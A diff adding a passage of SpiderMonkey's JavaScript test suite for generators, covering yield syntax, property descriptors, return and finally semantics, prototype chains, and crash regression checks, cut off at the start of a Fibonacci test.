+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "A (slow) generator of pi";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function* pi()
+{
+ var val = 0;
+ var curr = 1;
+ var isNeg = false;
+ while (true)
+ {
+ if (isNeg)
+ yield val -= 4/curr;
+ else
+ yield val += 4/curr;
+ curr += 2;
+ isNeg = !isNeg;
+ }
+}
+
+var failed = false;
+var it = pi();
+
+var vals =
+ [4,
+ 4 - 4/3,
+ 4 - 4/3 + 4/5,
+ 4 - 4/3 + 4/5 - 4/7];
+
+try
+{
+ for (var i = 0, sz = vals.length; i < sz; i++)
+ if (it.next().value != vals[i])
+ throw vals[i];
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/properties.js b/js/src/tests/non262/generators/properties.js
new file mode 100644
index 0000000000..7782e64c06
--- /dev/null
+++ b/js/src/tests/non262/generators/properties.js
@@ -0,0 +1,111 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function assertOwnDescriptor(object, propertyKey, expected) {
+ var desc = Object.getOwnPropertyDescriptor(object, propertyKey);
+ if (desc === undefined) {
+ assertEq(expected, undefined, "Property shouldn't be present");
+ return;
+ }
+
+ assertEq(desc.enumerable, expected.enumerable, `${String(propertyKey)}.[[Enumerable]]`);
+ assertEq(desc.configurable, expected.configurable, `${String(propertyKey)}.[[Configurable]]`);
+
+ if (Object.prototype.hasOwnProperty.call(desc, "value")) {
+ assertEq(desc.value, expected.value, `${String(propertyKey)}.[[Value]]`);
+ assertEq(desc.writable, expected.writable, `${String(propertyKey)}.[[Writable]]`);
+ } else {
+ assertEq(desc.get, expected.get, `${String(propertyKey)}.[[Get]]`);
+ assertEq(desc.set, expected.set, `${String(propertyKey)}.[[Set]]`);
+ }
+}
+
+function* generator(){}
+var GeneratorFunctionPrototype = Object.getPrototypeOf(generator);
+var GeneratorFunction = GeneratorFunctionPrototype.constructor;
+var GeneratorPrototype = GeneratorFunctionPrototype.prototype;
+
+
+// ES2017, 25.2.2 Properties of the GeneratorFunction Constructor
+
+assertEqArray(Object.getOwnPropertyNames(GeneratorFunction).sort(), ["length", "name", "prototype"]);
+assertEqArray(Object.getOwnPropertySymbols(GeneratorFunction), []);
+
+assertOwnDescriptor(GeneratorFunction, "length", {
+ value: 1, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorFunction, "name", {
+ value: "GeneratorFunction", writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorFunction, "prototype", {
+ value: GeneratorFunctionPrototype, writable: false, enumerable: false, configurable: false
+});
+
+
+// ES2017, 25.2.3 Properties of the GeneratorFunction Prototype Object
+
+assertEqArray(Object.getOwnPropertyNames(GeneratorFunctionPrototype).sort(), ["constructor", "prototype"]);
+assertEqArray(Object.getOwnPropertySymbols(GeneratorFunctionPrototype), [Symbol.toStringTag]);
+
+assertOwnDescriptor(GeneratorFunctionPrototype, "constructor", {
+ value: GeneratorFunction, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorFunctionPrototype, "prototype", {
+ value: GeneratorPrototype, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorFunctionPrototype, Symbol.toStringTag, {
+ value: "GeneratorFunction", writable: false, enumerable: false, configurable: true
+});
+
+
+// ES2017, 25.2.4 GeneratorFunction Instances
+
+assertEqArray(Object.getOwnPropertyNames(generator).sort(), ["length", "name", "prototype"]);
+assertEqArray(Object.getOwnPropertySymbols(generator), []);
+
+assertOwnDescriptor(generator, "length", {
+ value: 0, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(generator, "name", {
+ value: "generator", writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(generator, "prototype", {
+ value: generator.prototype, writable: true, enumerable: false, configurable: false
+});
+
+
+// ES2017, 25.3.1 Properties of Generator Prototype
+
+assertEqArray(Object.getOwnPropertyNames(GeneratorPrototype).sort(), ["constructor", "next", "return", "throw"]);
+assertEqArray(Object.getOwnPropertySymbols(GeneratorPrototype), [Symbol.toStringTag]);
+
+assertOwnDescriptor(GeneratorPrototype, "constructor", {
+ value: GeneratorFunctionPrototype, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorPrototype, "next", {
+ value: GeneratorPrototype.next, writable: true, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorPrototype, "return", {
+ value: GeneratorPrototype.return, writable: true, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorPrototype, "throw", {
+ value: GeneratorPrototype.throw, writable: true, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorPrototype, Symbol.toStringTag, {
+ value: "Generator", writable: false, enumerable: false, configurable: true
+});
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/regress-345855.js b/js/src/tests/non262/generators/regress-345855.js
new file mode 100644
index 0000000000..682848f6be
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-345855.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345855;
+var summary = 'Blank yield expressions are not syntax errors';
+var actual = '';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "SyntaxError";
+ try
+ {
+ eval('(function*() {x = 12 + yield;})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function*() {x = 12 + yield;}');
+
+ expect = "SyntaxError";
+ try
+ {
+ eval('(function*() {x = 12 + yield 42})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function*() {x = 12 + yield 42}');
+
+ expect = 'No Error';
+ try
+ {
+ eval('(function*() {x = 12 + (yield);})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function*() {x = 12 + (yield);}');
+
+ try
+ {
+ eval('(function* () {foo((yield))})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function* () {foo((yield))}');
+
+ try
+ {
+ eval('(function*() {x = 12 + (yield 42)})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function*() {x = 12 + (yield 42)}');
+
+ try
+ {
+ eval('(function* (){foo((yield 42))})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function* (){foo((yield 42))}');
+}
diff --git a/js/src/tests/non262/generators/regress-345879-01.js b/js/src/tests/non262/generators/regress-345879-01.js
new file mode 100644
index 0000000000..993244f803
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-345879-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345879;
+var summary = 'Crash when calling a function from a generator with less arguments than its arity ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function* gen() {
+ yield isNaN();
+ }
+
+ f = gen();
+ f.next();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-349362.js b/js/src/tests/non262/generators/regress-349362.js
new file mode 100644
index 0000000000..af22f0c69a
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-349362.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349362;
+var summary = 'generator toString should be [object Generator]';
+var actual = '';
+var expect = '[object Generator]';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var y = function*(){ yield 3};
+ actual = y().toString();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-349851.js b/js/src/tests/non262/generators/regress-349851.js
new file mode 100644
index 0000000000..86b35cb24a
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-349851.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349851;
+var summary = 'decompilation of yield \\n, 3';
+var actual = '';
+var expect = 'SyntaxError';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // note the newline after yield is required for this test
+ try
+ {
+ var f = eval('function(){ yield \n,3 }');
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-350809.js b/js/src/tests/non262/generators/regress-350809.js
new file mode 100644
index 0000000000..f34546740d
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-350809.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350809;
+var summary = 'Do not assertion: if yield in xml filtering predicate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function(){ <x/>.(yield 4) })().next();');
+ }
+ catch(ex)
+ {
+ actual = expect =
+ 'InternalError: yield not yet supported from filtering predicate';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-351120.js b/js/src/tests/non262/generators/regress-351120.js
new file mode 100644
index 0000000000..9d9ba0e411
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-351120.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351120;
+var summary = 'Incorrect error messages with yield expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError:.*(is not a function|Cannot find function).*/;
+ actual = '';
+ try
+ {
+ (function*() { yield [].z({}); })().next();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-359062.js b/js/src/tests/non262/generators/regress-359062.js
new file mode 100644
index 0000000000..656b34124e
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-359062.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 359062;
+var summary = 'Access generator local variables from nested functions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "Generator string";
+
+ var scope = "Global";
+
+ function* gen() {
+ var scope = "Generator";
+ function inner() {
+ actual = scope + " " + typeof scope;
+ }
+ inner();
+ yield;
+ }
+
+ gen().next();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-366941.js b/js/src/tests/non262/generators/regress-366941.js
new file mode 100644
index 0000000000..6997aae044
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-366941.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366941;
+var summary = 'Destructuring enumerations, iterations';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var list1 = [[1,2],[3,4],[5,6]];
+ var list2 = [[1,2,3],[4,5,6],[7,8,9]];
+
+ expect = '1,2;3,4;5,6;';
+ actual = '';
+
+ for (var [foo, bar] of list1) {
+ actual += foo + "," + bar + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = '1,2,3;4,5,6;7,8,9;';
+ actual = '';
+ for (var [foo, bar, baz] of list2) {
+ actual += foo + "," + bar + "," + baz + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 2');
+
+ function* gen(list) {
+ for (var test of list) {
+ yield test;
+ }
+ }
+
+ var iter1 = gen(list1);
+
+ expect = '1,2;3,4;5,6;';
+ actual = '';
+
+ for (var [foo, bar] of iter1) {
+ actual += foo + "," + bar + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 3');
+
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected result was a SyntaxError about the for…in loop's lhs.
+ var iter2 = gen(list2);
+ expect = '1,2,3;4,5,6;7,8,9;';
+ actual = '';
+
+ try
+ {
+ eval('for (var [foo, bar, baz] of iter2) {' +
+ 'actual += foo + "," + bar + "," + baz + ";";' +
+ '}');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': 4');
+}
diff --git a/js/src/tests/non262/generators/regress-384991.js b/js/src/tests/non262/generators/regress-384991.js
new file mode 100644
index 0000000000..25439d907c
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-384991.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 384991;
+var summary = ' w(yield) should not cause "yield expression must be parenthesized" syntax error';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'No Error';
+
+ try
+ {
+ actual = 'No Error';
+ (function*() { w((yield)); });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ actual = 'No Error';
+ (function*() { w(1 ? yield : 0); });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try
+ {
+ actual = 'No Error';
+ (function* () { f(x = yield); const x = undefined; });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 3');
+}
diff --git a/js/src/tests/non262/generators/regress-466206.js b/js/src/tests/non262/generators/regress-466206.js
new file mode 100644
index 0000000000..76c297038b
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-466206.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466206;
+var summary = 'Do not crash due to unrooted function variables';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ function* g() {
+ var x = {};
+ f = function () { x.y; };
+ if (0) yield;
+ }
+
+ try { g().next(); } catch (e) {}
+ gc();
+ f();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/return-finally.js b/js/src/tests/non262/generators/return-finally.js
new file mode 100644
index 0000000000..9e4c6c8f3b
--- /dev/null
+++ b/js/src/tests/non262/generators/return-finally.js
@@ -0,0 +1,309 @@
+var BUGNUMBER = 1202134;
+var summary = "Return value should not be overwritten by finally block with normal execution.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== single ====
+
+var f, g, v;
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ return 43;
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is throw
+ try {
+ return 42;
+ } finally {
+ throw 43;
+ }
+};
+var caught = false;
+g = f();
+try {
+ v = g.next();
+} catch (e) {
+ assertEq(e, 43);
+ caught = true;
+}
+assertEq(caught, true);
+
+f = function*() {
+ // F.[[type]] is break
+ do try {
+ return 42;
+ } finally {
+ break;
+ } while (false);
+ return 43;
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is break
+ L: try {
+ return 42;
+ } finally {
+ break L;
+ }
+ return 43;
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is continue
+ do try {
+ return 42;
+ } finally {
+ continue;
+ } while (false);
+ return 43;
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+// ==== nested ====
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ L: try {
+ return 43;
+ } finally {
+ break L;
+ }
+ }
+}
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is continue
+ do try {
+ return 43;
+ } finally {
+ continue;
+ } while (0);
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is normal
+ try {
+ // F.[[type]] is throw
+ try {
+ return 43;
+ } finally {
+ throw 9;
+ }
+ } catch (e) {
+ }
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is return
+ try {
+ return 41;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+// ==== with yield ====
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ yield 43;
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+// ==== throw() ====
+
+f = function*() {
+ // F.[[type]] is throw
+ try {
+ return 42;
+ } finally {
+ yield 43;
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+try {
+ v = g.throw(44);
+} catch (e) {
+ assertEq(e, 44);
+ caught = true;
+}
+assertEq(caught, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is throw
+ try {
+ yield 43;
+ } catch (e) {
+ }
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+v = g.throw(44);
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+// ==== return() ====
+
+f = function*() {
+ // F.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ yield 43;
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, false);
+v = g.return(44);
+assertEq(v.value, 44);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ yield 42;
+ } finally {
+ // F.[[type]] is continue
+ do try {
+ return 43;
+ } finally {
+ continue;
+ } while (0);
+ }
+};
+caught = false;
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, false);
+v = g.return(44);
+assertEq(v.value, 44);
+assertEq(v.done, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/runtime.js b/js/src/tests/non262/generators/runtime.js
new file mode 100644
index 0000000000..7146eef9ff
--- /dev/null
+++ b/js/src/tests/non262/generators/runtime.js
@@ -0,0 +1,132 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-runtime.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-runtime.js
+
+// Test aspects of the generator runtime.
+
+// See http://people.mozilla.org/~jorendorff/es6-draft.html#sec-15.19.3.
+
+function assertSyntaxError(str) {
+ assertThrowsInstanceOf(Function(str), SyntaxError);
+}
+
+
+function f() { }
+function* g() { yield 1; }
+var GeneratorFunctionPrototype = Object.getPrototypeOf(g);
+var GeneratorFunction = GeneratorFunctionPrototype.constructor;
+var GeneratorObjectPrototype = GeneratorFunctionPrototype.prototype;
+
+
+// A generator function should have the same set of properties as any
+// other function.
+function TestGeneratorFunctionInstance() {
+ var f_own_property_names = Object.getOwnPropertyNames(f);
+ var g_own_property_names = Object.getOwnPropertyNames(g);
+
+ f_own_property_names.sort();
+ g_own_property_names.sort();
+
+ assertDeepEq(f_own_property_names, g_own_property_names);
+ var i;
+ for (i = 0; i < f_own_property_names.length; i++) {
+ var prop = f_own_property_names[i];
+ var f_desc = Object.getOwnPropertyDescriptor(f, prop);
+ var g_desc = Object.getOwnPropertyDescriptor(g, prop);
+ assertEq(f_desc.configurable, g_desc.configurable, prop);
+ assertEq(f_desc.writable, g_desc.writable, prop);
+ assertEq(f_desc.enumerable, g_desc.enumerable, prop);
+ }
+}
+TestGeneratorFunctionInstance();
+
+
+// Generators have an additional object interposed in the chain between
+// themselves and Function.prototype.
+function TestGeneratorFunctionPrototype() {
+ // Sanity check.
+ assertEq(Object.getPrototypeOf(f), Function.prototype);
+ assertNotEq(GeneratorFunctionPrototype, Function.prototype);
+ assertEq(Object.getPrototypeOf(GeneratorFunctionPrototype),
+ Function.prototype);
+ assertEq(Object.getPrototypeOf(function* () {}),
+ GeneratorFunctionPrototype);
+}
+TestGeneratorFunctionPrototype();
+
+
+// Functions that we associate with generator objects are actually defined by
+// a common prototype.
+function TestGeneratorObjectPrototype() {
+ // %GeneratorPrototype% must inherit from %IteratorPrototype%.
+ var iterProto = Object.getPrototypeOf(Object.getPrototypeOf([][Symbol.iterator]()));
+ assertEq(Object.getPrototypeOf(GeneratorObjectPrototype),
+ iterProto);
+ assertEq(Object.getPrototypeOf((function*(){yield 1}).prototype),
+ GeneratorObjectPrototype);
+
+ var expected_property_names = ["next", "return", "throw", "constructor"];
+ var found_property_names =
+ Object.getOwnPropertyNames(GeneratorObjectPrototype);
+
+ expected_property_names.sort();
+ found_property_names.sort();
+
+ assertDeepEq(found_property_names, expected_property_names);
+ assertDeepEq(Object.getOwnPropertySymbols(GeneratorObjectPrototype), [Symbol.toStringTag]);
+}
+TestGeneratorObjectPrototype();
+
+
+// This tests the object that would be called "GeneratorFunction", if it were
+// like "Function".
+function TestGeneratorFunction() {
+ assertEq(GeneratorFunctionPrototype, GeneratorFunction.prototype);
+ assertTrue(g instanceof GeneratorFunction);
+
+ assertEq(Function, Object.getPrototypeOf(GeneratorFunction));
+ assertTrue(g instanceof Function);
+
+ assertEq("function* g() { yield 1; }", g.toString());
+
+ // Not all functions are generators.
+ assertTrue(f instanceof Function); // Sanity check.
+ assertFalse(f instanceof GeneratorFunction);
+
+ assertTrue((new GeneratorFunction()) instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction() instanceof GeneratorFunction);
+
+ assertTrue(GeneratorFunction('yield 1') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('return 1') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('a', 'yield a') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('a', 'return a') instanceof GeneratorFunction);
+ assertTrue(GeneratorFunction('a', 'return a') instanceof GeneratorFunction);
+ assertSyntaxError("GeneratorFunction('yield', 'return yield')");
+ assertTrue(GeneratorFunction('with (x) return foo;') instanceof GeneratorFunction);
+ assertSyntaxError("GeneratorFunction('\"use strict\"; with (x) return foo;')");
+
+ // Doesn't matter particularly what string gets serialized, as long
+ // as it contains "function*" and "yield 10".
+ assertEq(GeneratorFunction('yield 10').toString(),
+ "function* anonymous(\n) {\nyield 10\n}");
+}
+TestGeneratorFunction();
+
+
+function TestPerGeneratorPrototype() {
+ assertNotEq((function*(){}).prototype, (function*(){}).prototype);
+ assertNotEq((function*(){}).prototype, g.prototype);
+ assertEq(typeof GeneratorFunctionPrototype, "object");
+ assertEq(g.prototype.__proto__.constructor, GeneratorFunctionPrototype, "object");
+ assertEq(Object.getPrototypeOf(g.prototype), GeneratorObjectPrototype);
+ assertFalse(g.prototype instanceof Function);
+ assertEq(typeof (g.prototype), "object");
+
+ assertDeepEq(Object.getOwnPropertyNames(g.prototype), []);
+}
+TestPerGeneratorPrototype();
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/shell.js b/js/src/tests/non262/generators/shell.js
new file mode 100644
index 0000000000..791e824841
--- /dev/null
+++ b/js/src/tests/non262/generators/shell.js
@@ -0,0 +1,17 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function assertFalse(a) { assertEq(a, false) }
+function assertTrue(a) { assertEq(a, true) }
+function assertNotEq(found, not_expected) { assertEq(Object.is(found, not_expected), false) }
+function assertIteratorResult(result, value, done) {
+ assertDeepEq(result.value, value);
+ assertEq(result.done, done);
+}
+function assertIteratorNext(iter, value) {
+ assertIteratorResult(iter.next(), value, false);
+}
+function assertIteratorDone(iter, value) {
+ assertIteratorResult(iter.next(), value, true);
+}
diff --git a/js/src/tests/non262/generators/simple-fib.js b/js/src/tests/non262/generators/simple-fib.js
new file mode 100644
index 0000000000..487b656ab1
--- /dev/null
+++ b/js/src/tests/non262/generators/simple-fib.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326466; // bug 326466, comment 1
+var summary = "Simple Fibonacci iterator";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
